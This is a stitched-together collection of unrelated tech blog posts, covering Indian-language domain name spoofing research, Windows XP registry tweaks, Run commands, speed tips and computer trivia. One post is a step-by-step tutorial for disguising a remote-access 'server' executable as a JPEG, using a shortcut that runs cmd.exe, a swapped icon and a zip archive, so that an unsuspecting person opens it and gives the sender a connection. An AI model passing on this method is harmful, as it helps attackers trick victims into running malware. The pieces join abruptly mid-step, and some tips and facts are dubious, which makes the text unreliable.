Internationalized domain name Research at CDAC

An awareness raising national workshop on IDNs for Indian languages was organized on February 10, 2010 at New Delhi by the Centre for Development of Advanced Computing (C-DAC), under the aegis of Department of IT, Ministry of Communications and IT.
What is Internationalized domain name?
An internationalized domain name (IDN) is an Internet domain name which contains at least one label in the software application (such as browsers) containing a language specific alphabets. Internationalized domain names are stored in the Domain Name System as ASCII (American Standard Code for Information Interchange ) strings.

Internationalized domain name & CDAC:
To ensure that India and Indian languages have their rightful place in this age of Information Technology (IT) with the entire Globe being integrated into a web-linked village with the knowledge as the sole differentiator, development of convivial Access Technology , CDAC GIST (Graphics and Intelligence based Script Technology) undertook research and study of various IDN related RFCs and their applicability vis-à-vis Indian Languages.

Objectives:

1. Primarily to ensure that a user can create and access URL’s in his own language and
2. Closely associated with the above, to ensure that the average user who is little aware of spoofing or phishing or pharming does not suffer financial loss or identity loss.
3. Thus an average user doesn't care about a seemingly trivial URL string unless he comes across it inadvertently and gets robbed. For him, वीत्त.भारत and.वीत.भारत look the same.
4. By clicking on the worng URL, (s)he could be phished or pharmed.

To prevent such spoofing and phishing attacks in IL scenario, a careful study of some scripts is done by CDAC GIST, especially in the area of homographs: characters and their combinations which look alike but are different in reality, as in the example given above..

The research is focused on Domain Names in Indian languages for Hindi, Gujarati, Oriya, Urdu, Gurumukhi etc. and includes the following :

NamePrep and StringPrep Profile - RFC-3492
PunyCode: Bootstring encoding - RFC-3454

Variant tables accompanied by the normalization tables were prepared which would help reducing vulnerability of an IDN against homograph attacks.

A single all script font (on the line of Sakal Bharati font) is also developed. In this font a special care of code-point wise different but visually similar characters is taken to help them being distinguished visually in the address bar of a browser.

Easy floating keyboards well equipped with the IDN restrictions are also being developed for inputting the URL at the Registry software for each language

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How To Speed Up My Shutdown Speed in Win XP

It's not only startup times that you'd like to speed up; you can also make sure that your system shuts down faster. If shutting down XP takes what seems to be an inordinate amount of time, here are a couple of steps you can take to speed up the shutdown process:


Don't have XP clear your paging file at shutdown
For security reasons, you can have XP clear your paging file (pagefile.sys) of its contents whenever you shut down. Your paging file is used to store temporary files and data, but when your system shuts down, information stays in the file. Some people prefer to have the paging file cleared at shutdown, because sensitive information such as unencrypted passwords sometimes ends up in the file.

However, clearing the paging file can slow shutdown times significantly, so if extreme security isn't a high priority, you might not want to clear it. To shut down XP without clearing your paging file, run the Registry Editor and go to:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
Change the value of ClearPageFileAtShutdown to 0. Close the Registry and restart your computer. Whenever you turn off XP from now on, the paging file won't be cleared, and you should be able to shut down more quickly.

Turn off unnecessary services
Services take time to shut down, so the fewer you run, the faster you can shut down.

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Hide An exe File In an jpg image

1) Firstly, create a new folder and make sure that the options 'show hidden files and folders' is checked and ‘hide extensions for known file types’ is unchecked.
Basically what you need is to see hidden files and see the extension of all your files on your pc.




2) Paste a copy of your server on the new created folder. let's say it's called 'server.exe' (that's why you need the extension of files showing, cause you need to see it to change it)

3) Now you’re going to rename this 'server.exe' to whatever you want, let’s say for example 'picture.jpeg'

4) Windows is going to warn you if you really want to change this extension from exe to jpeg, click YES.

5) Now create a shortcut of this 'picture.jpeg' in the same folder.

6) Now that you have a shortcut, rename it to whatever you want, for example, 'me.jpeg'.

7) Go to properties (on file me.jpeg) and now you need to do some changes there.

8) First of all delete all the text on field 'Start In' and leave it empty.

9) Then on field 'Target' you need to write the path to open the other file (the server renamed 'picture.jpeg') so you have to write this :-
'C:\WINDOWS\system32\cmd.exe /c picture.jpeg'

10) The last field, 'c picture.jpeg' is always the name of the first file. If you called the first file 'soccer.avi' you gotta write 'C:\WINDOWS\system32\cmd.exe /c soccer.avi'.

11) So what you’re doing is when someone clicks on 'me.jpeg', a cmd will execute the other file 'picture.jpeg' and the server will run.

12) On that file 'me.jpeg' (shortcut), go to properties and you have an option to change the icon. Click that and a new window will pop up and you have to write this :-
%SystemRoot%\system32\SHELL32.dll . Then press OK.

13) You can set the properties 'Hidden' for the first file 'picture.jpeg' if you think it’s better to get a connection from someone.

14) But don’t forget one thing, these 2 files must always be together in the same folder and to get connected to someone they must click on the shortcut created not on the first file. So rename the files to whatever you want considering the person and the knowledge they have on this matter.

15) For me for example I always want the shortcut showing first so can be the first file to be opened. So I rename the server to 'picture2.jpeg' and the shortcut to 'picture1.jpeg'.
This way the shortcut will show up first. If you set hidden properties to the server 'picture.jpeg' then you don’t have to bother with this detail but I’m warning you, the hidden file will always show up inside of a Zip or a Rar file.

16) So the best way to send these files together to someone is compress them into Zip or Rar.

17) inside the Rar or Zip file you can see the files properties and even after all this work you can see that the shortcut is recognized like a shortcut but hopefully the person you sent this too doesn’t know that and is going to open it.To get started, all you need to know are some very basic programming skills (any language would do) and web space to host your “bot”.

For this example, I have created a dummy bot called “insecure” that listens to your IM messages. To see this live, add insecure@bot.im to your GTalk buddy list and start chatting.

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Rename and Change "Unchangeable" Desktop Icons and System Objects : Hacking Tricks

To create the perfect XP interface, you want to be able to give every desktop icon and system object the name and icon of your choice. Here's how to do it—even to objects that appear to be unchangeable.

Interface hackers (myself included) are a details-oriented bunch. We want to be able to control every part of the interface so that it reflects our personality. That means being able to choose our own icons for desktop items and system objects, give new names to system objects, and create our own balloon tips—for example, adding a balloon tip to the Recycle Bin saying "Take Out the Trash!"

But it's not as simple as you might think. Microsoft has a way of protecting its own. For example, it won't let you change the text and balloon tips associated with a variety of system objects, such as the Recycle Bin, Outlook, Internet Explorer, My Computer, and My Network Places.

You can normally change both the name and the balloon text (text that appears when you hover your mouse over the icon) of all the icons on your desktop, but you can't change these. Normally, to change the name and balloon text of an icon, you first right-click on the icon and choose Properties. To change the name of the icon, you choose the General tab and, in the box at the top, type in the name that you want to appear beneath the icon.

Then, to change the balloon text, you click on the Shortcut tab and in the Comment box type in the text that you want to appear. When you're ready to make the change, click OK. The icon name and balloon text should now be changed.

But when you try to do this for system objects such as Outlook, Internet Explorer, My Computer, and Network Neighborhood, it won't work. The proper options don't appear when you right-click on them and choose Properties.

There are ways, however, to change them in any way that you want, so that you can create your own personalized XP interface.

2.6.1 The Registry to the Rescue

The Registry is your best tool for personalizing XP. It will let you change both the text and balloon tip associated with system objects. First, you need to know the object's class ID (CLSID), which uniquely identifies each system object. lists the CLSIDs for common desktop objects.

Table 2-3. CLSIDs for desktop objects

Desktop object	CLSID
My Computer	{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Recycle Bin	{645FF040-5081-101B-9F08-00AA002F954E}
Microsoft Outlook	{00020D75-0000-0000-C000-000000000046}
Internet Explorer	{FBF23B42-E3F0-101B-8488-00AA003E56F8}
The Internet	{3DC7A020-0ACD-11CF-A9BB-00AA004AE837}
My Network Places	{208D2C60-3AEA-1069-A2D7-08002B30309D}
Briefcase	{85BBD920-42A0-1069-A2E4-08002B30309D}
Dial-Up Networking	{992CFFA0-F557-101A-88EC-00DD010CCC48}

Armed with the proper CLSID, it's easy to change the name and balloon text of system objects. First, use to find the CLSID for the object whose name or balloon text you want to change. Then run the Registry Editor and go to HKEY_CLASSES_ROOT\CLSID, a key that lets you change characteristics of system objects, and highlight the CLSID whose name or balloon text you want to change. For example, for My Computer, highlight the subkey HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}. Keep in mind that HKEY_CLASSES_ROOT\CLSID has many CLSIDs listed under it, so it might take you a while to find the proper subkey.

Once you find the right subkey, if you want to edit the name of the object, open the Default value and type in the text that you want to appear underneath the object. If you want to edit the balloon text for the object, open the InfoTip value and type in the text that you want to appear as balloon text. Once you're done, exit the Registry and reboot.

You may also be able to force the changes to take effect without rebooting. After you exit the Registry, go to your Desktop and press F5 to refresh the screen. The new names and balloon tips might now appear.

2.6.2 Change the Desktop Icons of System Objects

You can hack objects besides names and balloon with this method. You can also change the desktop icons of system objects that appear to have unchangeable icons.

First, using find the CLSID for the object whose icon you want to change. Then run the Registry Editor, go to HKEY_CLASSES_ROOT\CLSID, and look for the CLSID subkey from for the object whose icon you want to change. Open the subkey and then the DefaultIcon subkey under that. For example, to change the icon for My Computer, open the subkey HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon. Change the Default value to the path of the icon that you want displayed. Exit the Registry. You may have to reboot in order for the new settings to take effect.

Some people aren't able to change their icons using this method. Instead of editing HKEY_CLASSES_ROOT\CLSID, they have to edit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\, and that does the trick.

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How Do Google Servers Works

We’ve often wondered what kind of hardware the giant of the internet, Google, used to handle it’s data. They’ve recently revealed what their main workhorses are. It’s a custom motherboard made by Gigabyte with two processors, and eight RAM slots.
The main point of interest on these is the fact that each server and piece of network equipment has it’s own battery backup. This may add a little money in the initial cost of the unit, but apparently it is a much more efficient way of handling power. Be sure to click over to the site and check out the shipping container setup that they use. Each container has 1,160 servers. They aren’t the only ones using this method. Microsoft has adopted it for their newer facilities and Sun has done some extensive testing on how these portable facilities handle earthquakes. You can see the quake test after the break.

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RUN COMMAND IN WINDOWS XP

Run’ commands are extremely useful to perform various windows operations in a speedy manner. We can browse the windows fastly using these commands. This will really save a lot of time.Most of the windows users are not familiar with these commands. Here is a list of 112 run commands.

Windows Run Commands

Accessibility Controls------- access.cpl
Add Hardware Wizard------- hdwwiz.cpl
Add/Remove Programs------- appwiz.cpl
Administrative Tools------- control admintools
Automatic Updates------- wuaucpl.cpl
Bluetooth Transfer Wizard------- fsquirt
Calculator------- calc
Certificate Manager certmgr.msc
Character Map charmap
Check Disk Utility------- chkdsk
Clipboard Viewer------- clipbrd
Command Prompt------- cmd
Component Services------- dcomcnfg
Computer Management------- compmgmt.msc
timedate.cpl------- ddeshare
Device Manager------- devmgmt.msc
Direct X Control Panel (If Installed)*------- directx.cpl
Direct X Troubleshooter------- dxdiag
Disk Cleanup Utility------- cleanmgr
Disk Defragment------- dfrg.msc
Disk Management------- diskmgmt.msc
Disk Partition Manager------- diskpart
Display Properties------- control desktop
Display Properties------- desk.cpl
Display Properties (w/Appearance Tab Preselected)------- control color
Dr. Watson System Troubleshooting Utility------- drwtsn32
Driver Verifier Utility------- verifier
Event Viewer------- eventvwr.msc
File Signature Verification Tool------- sigverif
Findfast------- findfast.cpl
Folders Properties------- control folders
Fonts------- control fonts
Fonts Folder------- fonts
Free Cell Card Game------- freecell
Game Controllers------- joy.cpl
Group Policy Editor (XP Prof)------- gpedit.msc
Hearts Card Game------- mshearts
Iexpress Wizard------- iexpress
Indexing Service------- ciadv.msc
Internet Properties------- inetcpl.cpl
IP Configuration (Display Connection Configuration)------- ipconfig /all
IP Configuration (Display DNS Cache Contents)------- ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)------- ipconfig /flushdns
IP Configuration (Release All Connections)------- ipconfig /release
IP Configuration (Renew All Connections)------- ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS)------- ipconfig /registerdns
IP Configuration (Display DHCP Class ID)------- ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID)------- ipconfig /setclassid
Java Control Panel (If Installed) jpicpl32.cpl
Java Control Panel (If Installed)------- javaws
Keyboard Properties------- control keyboard
Local Security Settings------- secpol.msc
Local Users and Groups------- lusrmgr.msc
Logs You Out Of Windows------- logoff
Microsoft Chat------- winchat
Minesweeper Game------- winmine
Mouse Properties------- control mouse
Mouse Properties------- main.cpl
Network Connections------- control netconnections
Network Connections------- ncpa.cpl
Network Setup Wizard------- netsetup.cpl
Notepad------- notepad
Nview Desktop Manager (If Installed)------- nvtuicpl.cpl
Object Packager------- packager
ODBC Data Source Administrator------- odbccp32.cpl
On Screen Keyboard------- osk
Opens AC3 Filter (If Installed)------- ac3filter.cpl
Password Properties------- password.cpl
Performance Monitor------ perfmon.msc
Performance Monitor------- perfmon
Phone and Modem Options------- telephon.cpl
Power Configuration------- powercfg.cpl
Printers and Faxes------- control printers
Printers Folder------- printers
Private Character Editor------- eudcedit
Quicktime (If Installed)------- QuickTime.cpl
Regional Settings------- intl.cpl
Registry Editor------- regedit
Registry Editor------- regedit32
Remote Desktop------- mstsc
Removable Storage------- ntmsmgr.msc
Removable Storage Operator Requests------- ntmsoprq.msc
Resultant Set of Policy (XP Prof)------- rsop.msc
Scanners and Cameras------- sticpl.cpl
Scheduled Tasks------- control schedtasks
Security Center------- wscui.cpl
Services------- services.msc
Shared Folders------- fsmgmt.msc
Shuts Down Windows------- shutdown
Sounds and Audio------- mmsys.cpl
Spider Solitare Card Game------- spider
SQL Client Configuration------- cliconfg
System Configuration Editor------- sysedit
System Configuration Utility------- msconfig
System File Checker Utility (Scan Immediately)------- sfc /scannow
System File Checker Utility (Scan Once At Next Boot)------- sfc /scanonce
System File Checker Utility (Scan On Every Boot)------- sfc /scanboot
System File Checker Utility (Return to Default Setting)------- sfc /revert
System File Checker Utility (Purge File Cache)------- sfc /purgecache
System File Checker Utility (Set Cache Size to size x)------- sfc /cachesize=x
System Properties------- sysdm.cpl
Task Manager------- taskmgr
Telnet Client------- telnet
User Account Management------- nusrmgr.cpl
Utility Manager------- utilman
Windows Firewall------- firewall.cpl
Windows Magnifier------- magnify
Windows Management Infrastructure------- wmimgmt.ms

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HOW TO INCREASE THE SPEED AND PERFORMANCE OF A COMPUTER

Many Computer users are always frustrated with the speed of their computers. Most of them uses several techniques and tricks, to handle this irritating hanging situation of the systems. Here is the list of some simple tips and tricks (Most of them are familiar to all the readers of this post) to increase the speed and performance of Computers.


1. Selection of Suitable Operating System :- This is the most important point while considering the performance of all computer systems. A Personal Computer with minimum 64 megabytes (MB) of memory or 128 MB recommended, and Pentium 4 processor requires a Windows-XP Operating System. If we using Windows-98 OS in the above configuration, system will perform more faster.People using Pentium 3computers could use windows 2000 or if they have ram more than 256 MB then they can use windows XP. Nowadays most of the systems have more than 1 GB memory, using XP in that type of computers is a better idea and thus we can perform each tasks at the speed of thought. There is no need to install Vista systems having below 1 GB memory.

2. Increase the speed of Memory:- We know that human being with more memory excels every body. In the similar way a computer with more than 1 GB memory perform tasks in a speedy manner.So try to upgrade your memory to the possible maximum level.

3. Increase the Hard Disk Capacity:-.
Increase the Hard Disk space to minimum 40GB and allocate a suitable space in the C: Drive (Usually Windows is installed in this Drive). Don't install several applications in the C:Drive of your Computer

4.Partition:-If you are having more number of partitions, it would help your windows more to find required data easily from your hard disk, when you run any file or program. Allocate more than 5 GB for C: Drive(or Windows installed Drive).

5.Defragment Your Hard disks:-

Partitions become more fragmented when you create or delete folders, save new files, delete or move them and they become scattered on you hard drive and as time passes, windows become slower and slower due to time needed by the system to find required file on hard disk. So use Disk Defragmenter regularly, at least once a week.


6.Format and Reinstall Windows:-Formatting your partition every 3 months and installing fresh copy of windows will considerably increase your computer's performance. Many people think that formatting hard drive is not good. That is almost a wrong illusion.

7. Make C: Drive spacious:- Do not save junk, programs, movies, games and almost anything you can on your windows partition that is usually C: It is better you make your ''My Documents'' folder in other drive than C: as well as make also Program Files folder so install everything like Microsoft office e.t.c there not in windows installation drive. Do it and feel the difference.

8.Desktop and Taskbar:- Don't place many applications in the Desktop and Taskbar of your Computer. That will slow the performance:

9. Do this simple tip to increase the performance:

• Start > right-click on My Computer and select Properties.
• Click on the "Advanced" tab.
• See the "Performance" section? Click "Settings".
Then Click on "Adjust For Best Performance"

10.Delete unwanted Files:-
Delete internet temporary files by
Start---->Run----->temp

or

Start---->Run-----> %temp%


However we can delete all temporary internet files and unwanted applications, clear the history section and fix registry errors using a simple small size freeware known as "Ccleaner". This is only 2.60 mb size. This software is very effective for deleting junk files and temporary internet files and provides a better user interface to do all cleaning activites in a single step.

After doing the above simple steps, now Windows will still look nice and perform faster.

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Some Interesting Computer Facts ..!!!

(1). An Amd 1400 chip running without a heatsink gets as hot as 370 degrees.

(2). Seagate introduced the first hdd for pcs in 1979.It held 5 M.B of data.

(3). If u opened up the case of the original Macintosh, u will find 47 signatures
one for each member of Apple's Macintosh divison as of 1982.

(4). The first computer company to register for a domain name was digital
equipment corporation.

(5). Did u know Apple & Sun came very close to a merger in 1996.

(6). The technology contained in a single game boy unit in 2000 exceeds all
the computing power that was used to put the first man on moon in 1969.

(7). Hewlett Packard was started at a garage in Palo Alto in 1939.

1).Tetris has sold over 40 million copies worldwide, since it began in 1982.That provided the creator 800 million in revenues.

2).The superflop (LOL!) sega dreamcast, released in 1999, was the first console game machine to sport a 128 Bit architecture.

3).The most expensive game ever developed was "ShenMue" for sega dreamcast.It costs $20 million.

4).The QWERTY keyboard layout is 129 years old.

5).South korea's SK telecom offers an inaudible ring tone to its customers which, it claims, can repel mosquitoes.

6).In 1971, the first speech recognition software named, "Hearsay" was developed in India.

7).Macquariums are aquariams made from old macintosh computers.
__________________


1).The servers r in denmark.The software is from Estonia.The domain is registered in Australia & the corporation is in south pacific island.Ths Kazaa the p2p software.

2).Bill gates & Paul Allen started a company called Traf-O-Data to monitor traffic flow.

3).The four largest software makers in the world are:-

(a) Microsoft
(b) Adobe
(c) Sap
(d) Computer Associates.

(4)Top Ten Supercomputers of Today:-

Arranged according to the speed:-

1. Bluegene/L DD2 Beta-system(IBM).

2. Columbia (NASA).

3. Earth Simulator (NEC).

4. MareNostrum(Barcelona Supercomputer Center).

5. Thunder (Lawrence Livermore National Laboratory).

6. ASCI Q(Los Alamos National Laboratory).

7. System X(Virgina Tech).

8. Blugene/L DD1 Prototype(IBM).

9. eServer pSeries 655 cluster(Naval Oceanographic Office).

10. Tungsten(National Center For Supercomputing Applications).

5). According to university of california 1,693,000 terabytes of information are
produced & stored magnetically per year.

6).Hard drives in the near future are expected to have a track density of
about 100,000 tracks/inch.This means that tracks are spaced 10 millionths
of an inch apart.

7).One terabyte(1000 gigabytes) is equivalent to storing a stack of
documents that is more than 16 times the height of New York's empire
state building.


1. The 4004 was the first microprocessor of intel.

2. The nVidia GeForce 6800 ultra has 222 million transistors which is the
record for the max. no. transistors on a chip.

3. James Gosling created java at sun microsystems.He came up with the
name Java while debating over it at a coffee shop.

4. The first ISP was Compuserve, established in 1969 which is now under
AOL.

5. The Palm O.S fits in less than 100 K,which is less than one percent the size
of Windows 98 or Mac O.S.

6. What does 50 G.B of storage really mean?It means we can stack 3 piles of
single spaced type written pages taller than the Eiffel tower and data to
support this information is about 50 gigabytes.

7. The code name for the 12 engineers who designed the IBM pc was :-
'The dirty dozen'.

8. When the cd was invented, it was decided that a cd should be long
enough to hold beethoven's Ninth Symphony at any tempo which was
precisely 72 minutes.


1)128 bit SSL encryption is so strong that it would take much , much longer than the age of universe to crack a message encrypted using it.Even 20 years from now, if computers are a million times faster. it would still take longer than the age of the universe to crack it.

2)Bill Gates math SAT score was a perfect 800.

3)Bill Gates home was designed using a Mac!

4)Disk drive recording head fly height (gap between the head and disc when the drive is spinning ) is less than 1 microinch while:-

A red blood cell is 300 microinches is diameter.
A particle of tobacco smoke is 250 microinches.
A particle of smog is 100 microinches.
A human hair is 4000 microinches.

5)When Windows 3.1 was launched, 3 million copies were sold in the first two
months.

6)Windows 95 can run on 386DX at 20 Megahertz, with just 4 M.B of RAM.

7)David Bradley wrote the code for [Ctr]+[Alt]+[Delete] key sequence.

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21 Facts About The Internet You Should Know

You probably use it every day but how well do you 
know your Internet?

Ever wonder how all this foolishness got started in the 
first place and why? How big it really is? How many present 
users there are? The average time spent on a website? 
Here are 21 facts you might or might not want to know 
about the Internet.


1. Who coined the phrase 'World Wide Web'? 

Tim Berners-Lee in 1990.  He's also considered by most 
people as the person who started the whole thing rolling. 


2. How did the Internet Start and Why? 

It all started with the time-sharing of IBM computers in the 
early 1960s at universities such as Dartmouth and Berkeley in 
the States. People would share the same computer for their 
computing tasks. The Internet also received help from Sputnik! 
After this Russian Satellite was launched in 1957, President
 Eisenhower formed ARPA to advance computer networking and 
communication.  



3. Who was J.C.R. Licklider? 

Licklider is often referred to as the father of the Internet because
his ideas of interactive computing and a "Galactic Network" were 
the seeds for the Internet. His ideas would be developed thru 
DARPA,(Defense Advanced Research Projects Agency) in 1962. 
Later he would help form ARPANET and the Internet was on it's way.

Vinton Gray Cerf was another founding father of the Internet. He  
played a key role in the creation of the Net by developing
the TCP/IP protocols we use for the Internet.



4. What was ARPANET? 

ARPANET stands for 'Advanced Research Projects Agency Network' 
Came about in the arena of Sputnik and the cold war. The military
needed a method of communicating and sharing all the information on 
computers for research and development. It would also be a handy 
communication system if all traditional ways were wiped out in 
a nuclear attack! 


5. What was the First long distance Connection? 

In 1965 using a low speed dial-up telephone line, MIT 
researcher Lawrence G. Roberts working with Thomas Merrill, 
connected the TX-2 computer in Massachusetts to the Q-32 
in California. The phone lines weren't quite up to the task!


6. Who was Leonard Kleinrock?

Kleinrock came up with the theory of packet switching,
the basic form of Internet connections. With a group
of UCLA graduate students on Oct. 29, 1969, Kleinrock 
connected with the Stanford Research Institute but as 
they typed in the G in LOGIN -- the system crashed!


7.What is an Ethernet?

It's a protocol or system for a set of computer networking 
technologies for local area networks (LANs), the origins of 
which came from Bob Metcalfe's Harvard's dissertation on 
"Packet Networks." 


8. When was the first mouse introduced?

The first computer mouse was introduced in 1968 by 
Douglas Engelbart at the Fall Joint Computer Expo 
in San Francisco.

 


9. Did Al Gore really invent the Internet? 

No, but give credit where credit is due. He did the most of 
any elected official to actively promote the Internet. However, 
he wasn't even in Congress when ARPANET was formed in 1969 
or even when the term 'Internet' came into use in 1974. Gore was 
first elected in 1976.

Gore himself may be the cause of this Urban Legend or
Internet myth - during a Wolf Blitzer CNN interview on
March 9, 1999 - Al Gore did say: "During my service in the 
United States Congress, I took the initiative in creating 
the Internet."

Causing himself some ridicule but also paving the way for 
such future one-liners as: "I invented the environment!"


10. Who coined the phrase 'information superhighway'?

Wikipedia says Nam June Paik coined the phrase "information 
superhighway" in 1974.

Al Gore popularized the phrase in the early 1990's.

11. Which decade really saw the explosion of the net? 

The 1990s. The Internet exploded into the mainstream with 
the release of the first popular web browser Mosaic in 1993.  


12. How fast is the Internet growing? 

Very fast! It took 38 years for radio to reach 50 million users, 
13 years for TV, and only 5 years for the Internet. Source: 
CyberAtlas.com 


13. Number of Internet Users and Breakdown.

The Internet is roughly 35% English, 65% Non-English with 
the Chinese at 14%. Yet only 13% of world's population,
812 million are Internet users as of Dec. '04. North America 
has the highest continental concentration with 70% of the 
people using the Internet. 


14. Country with the highest percentage of net users? 

Sweden at 75%.


15. How big is the Internet's surfing world?

Google's index now stands at over 8 billion pages. There are
now over a Billion Internet Users and that number is growing
rapidily. 


16. What was the Net's first index called?

Archie, other than library catalogs, this was the first
index created in 1989 by Peter Deutsch at McGill in Montreal. 
Although it spouted such others as Veronica and Jughead, Archie
was short for Archiver and had nothing to do with the
comic strip.

Backrub was the original name for Google!  Larry Page and Sergey 
Brin used this term for their search engine in 1996, Google as we 
know it debuted in 1998. The name Google is a twist on the word 
Googol, a number represented as 1 followed by 100 zeros.


17. Who coined the phrase 'The Web might be better than sex'?

Bob Metcalfe in 1995.


18. What does HTTP stand for?
 
HyperText Transfer Protocol - it's the protocol for moving files 
across the net; it requires two client programs. The HTTP client 
and the server.


19. What is an ISP?

Internet Service Provider - This is the service or company you use to 
access the Internet.  

20. What is HTML?

Hypertext Markup Language - it's the coded format language for 
transmitting and creating hypertext web pages. 


21. What are your average surfing habits according to Nielsen 
NetRatings?

Each month you usually visit 59 domains, view 1,050 pages allocating 45 
seconds for each page and spend about 25 hours doing all this net activity! 
Each surfing session lasts 51 minutes.


One last thought - Henry Edward Hardy in his Master's Thesis (1993) on 
The History of the Net stated "The Net is Immortal". Ever wonder what 
this baby will be like in a 100 years? a 1000 years? Just something
to think about as you keep your eye on that cursor.

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The fastest supercomputers today

Measuring supercomputer speed

In general, the speed of a supercomputer is measured in "FLOPS" (FLoating Point Operations Per Second), commonly used with an SI prefix such as tera-, combined into the shorthand "TFLOPS" (10¹² FLOPS, pronounced teraflops), or peta-, combined into the shorthand "PFLOPS" (10¹⁵ FLOPS, pronounced petaflops.) This measurement is based on a particular benchmark, which does LU decomposition of a large matrix. This mimics a class of real-world problems, but is significantly easier to compute than a majority of actual real-world problems.
"Petascale" supercomputers can process one quadrilion (10¹⁵) (1000 trillion) FLOPS. Exascale is computing performance in the exaflops range. An exaflop is one quintillion (10¹⁸) FLOPS (one million teraflops).

The Top500 list

Main article: TOP500

Since 1993, the fastest supercomputers have been ranked on the Top500 list according to their LINPACK benchmark results. The list does not claim to be unbiased or definitive, but it is a widely cited current definition of the "fastest" supercomputer available at any given time.

Current fastest supercomputer system

A Blue Gene/P node card

In November 2009, the AMD Opteron-based Cray XT5 Jaguar at the Oak Ridge National Laboratory was announced as the fastest operational supercomputer, with a sustained processing rate of 1.759 PFLOPS.

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IBM: Envisioning the world's fastest supercomputer

IBM will release a radical new chip next year that will go into a University of Illinois supercomputer in a quest to build what may become the world's fastest supercomputer.
That university's supercomputer center is a storied place, home to both famous fictional and real supercomputers. The notorious HAL 9000 sentient supercomputer in "2001: A Space Odyssey" was built in Urbana, Illinois, presumably on the University of Illinois Urbana-Champaign campus.

The Power7 chip die.

(Credit: IBM)

Though not aspiring to artificial intelligence, the IBM Blue Waters project supercomputer, like the HAL 9000 series, will be able to do massively complex calculations in an instant and, like HAL, be built in Urbana-Champaign. It is being housed in a special building on the Urbana-Champaign campus specifically for the computer that will theoretically be capable of achieving 10 petaflops, about 10 times as fast as the fastest supercomputer today. (A petaflop is 1 quadrillion floating point operations per second, a key indicator of supercomputer performance.)
Part of the National Center for Supercomputing Applications (NCSA) at the University of Illinois, it will be the largest publicly accessible supercomputer in the world when it's turned on sometime in 2011.
Supercomputers are essentially a large collection of microprocessors acting in concert on a complex problem. As processor designs go, the upcoming Blue Waters' IBM Power7 processor--due in the first half of 2010--is a big step for IBM: the processor integrates the features of a chip used in its "Roadrunner" supercomputer, which has often been ranked as the fastest supercomputer in the world. Power7 fuses the flagship Power chip design with key technology from a separate "Cell" processor--the latter was part of IBM's Roadrunner system at the Los Alamos National Laboratory, according to Bradley McCredie, an IBM Fellow in the Systems and Technology Group.
"We took some of that genetic material from the Cell program--ways to do floating point (calculations)--and embedded that right into the Power7 core," McCredie said in an interview with CNET.
But that's not the only thing that makes the Power7 chip special. It integrates eight processing cores in one chip package and each core can execute four tasks--called "threads"--turning an individual chip into a virtual 32-core processor. As a yardstick, Intel's high-end Xeon processors typically have two threads per processing core.

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